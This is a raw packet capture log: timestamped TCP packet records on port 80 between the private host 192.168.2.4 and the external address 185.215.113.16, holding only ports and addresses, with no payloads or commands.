Dec 9, 2024 23:09:21.218595982 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.218616962 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.218625069 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.218966961 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.218976974 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.219018936 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.219114065 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.219135046 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.219178915 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.219327927 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.219336987 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.219362020 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.219383001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.220156908 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.220195055 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.220258951 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.220293045 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.221163034 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.221208096 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.221234083 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.221267939 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.222194910 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.222294092 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.222335100 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.223242998 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.223355055 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.223396063 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.224315882 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.224349976 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.224404097 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.224688053 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.225389957 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.225487947 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.225529909 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.226335049 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.226428032 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.226469040 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.227319956 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.227355957 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.227428913 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.227950096 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.228358030 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.228398085 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.228473902 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.228513956 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.229383945 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.229432106 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.229525089 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.229563951 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.311543941 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.311640978 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.311706066 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.321410894 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.323973894 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.370979071 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.370989084 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.370999098 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.371006966 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.371018887 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.371032953 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.371078968 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.371520996 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.371561050 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.371592045 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.371948004 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.372452021 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.372484922 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.372591972 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.372629881 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.373625994 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.373672009 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.373723030 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.373763084 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.374492884 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.374533892 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.374593019 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.374628067 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.375525951 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.375586987 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.375623941 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.376558065 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.376655102 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.376698017 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.378993034 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.380094051 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.380145073 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.382502079 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.382513046 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.382524014 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.382548094 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.382584095 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.382652998 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.383115053 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.383126974 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.383152962 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.383162975 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.384170055 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.384310007 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.384350061 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.385176897 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.385189056 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.385232925 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.386099100 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.386133909 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.386296034 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.386993885 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.387166023 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.387214899 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.387352943 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.387392044 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.388164043 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.388206005 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.388345003 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.388382912 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.389302015 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.389373064 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.389453888 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.389542103 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.390289068 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.390338898 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.390439034 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.390568018 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.391206980 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.391254902 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.391396046 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.391434908 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.392328024 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.392349005 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.392374039 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.392390013 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.393346071 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.393404007 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.393502951 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.393541098 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.394316912 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.394409895 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.394484043 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.394529104 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.395409107 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.395457983 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.395597935 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.395713091 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.395730019 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.395742893 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.395754099 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.395756006 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.395787001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.395812988 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.396034956 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.396162033 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.396205902 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.397020102 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.397103071 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.397145033 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.402335882 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.402348042 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.402395964 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.402414083 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.402483940 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.402494907 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.402506113 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.402515888 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.402530909 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.402559996 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.403681040 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.403692007 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.403747082 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.403764009 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.404699087 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.404741049 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.404886961 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.404927015 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.405685902 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.405726910 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.405862093 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.405900955 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.406595945 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.406605959 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.406615973 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.406625032 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.406640053 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.406641006 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.406651974 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.406672001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.406689882 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.407304049 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.407349110 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.407552004 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.407949924 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.408314943 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.408356905 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.408409119 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.408446074 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.409320116 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.409378052 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.409408092 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.409451962 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.410367966 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.410420895 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.410501003 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.410538912 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.411396980 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.411556005 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.411601067 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.416770935 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.416781902 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.416791916 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.416801929 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.416825056 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.416852951 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.416909933 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.417026997 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.417059898 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.417253971 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.417929888 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.417973042 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.418239117 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.418323040 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.418986082 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.419078112 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.419131041 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.419195890 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.420145988 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.420156956 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.420205116 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.420901060 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.420912027 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.420922995 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.420933008 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.420943975 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.420953989 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.420954943 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.420979977 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.421006918 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.421675920 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.421725035 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.421752930 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.421890020 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.422625065 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.422672987 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.422722101 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.422765017 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.562052965 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.562123060 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.562145948 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.562170029 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.562598944 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.562652111 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.562726974 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.562776089 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.563549042 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.563621044 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.563626051 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.563666105 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.564548016 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.564599991 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.564626932 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.564661980 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.565644026 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.565721989 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.565747976 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.565789938 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.566636086 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.566694975 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.566696882 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.566732883 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.567819118 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.567857981 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.567994118 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.568044901 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.568697929 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.568746090 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.568814993 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.568855047 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.569720030 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.569770098 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.569838047 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.569883108 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.570729017 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.570775986 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.570839882 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.570888042 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.571760893 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.571808100 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.571835995 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.571872950 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.572839975 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.573002100 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.573024035 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.573123932 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.573920012 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.574028015 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.574048996 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.574105978 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.574851990 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.574898005 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.575002909 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.575119972 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.575895071 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.575948954 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.576026917 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.576067924 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.576965094 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.577009916 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.577198029 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.577239037 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.577915907 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.577960968 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.577964067 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.578044891 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.579638004 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.579691887 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.579818010 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.579958916 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.580025911 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.580106974 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.580149889 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.581031084 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.581074953 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.581094980 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.581135035 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.582075119 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.582129002 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.582165956 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.582202911 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.583038092 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.583081961 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.583233118 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.583316088 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.584065914 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.584124088 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.584409952 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.584460974 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.585077047 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.585186005 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.585211992 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.585256100 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.586103916 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:21.586143970 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:21.586216927 CET	80	49791	185.215.113.16	192.168.2.4
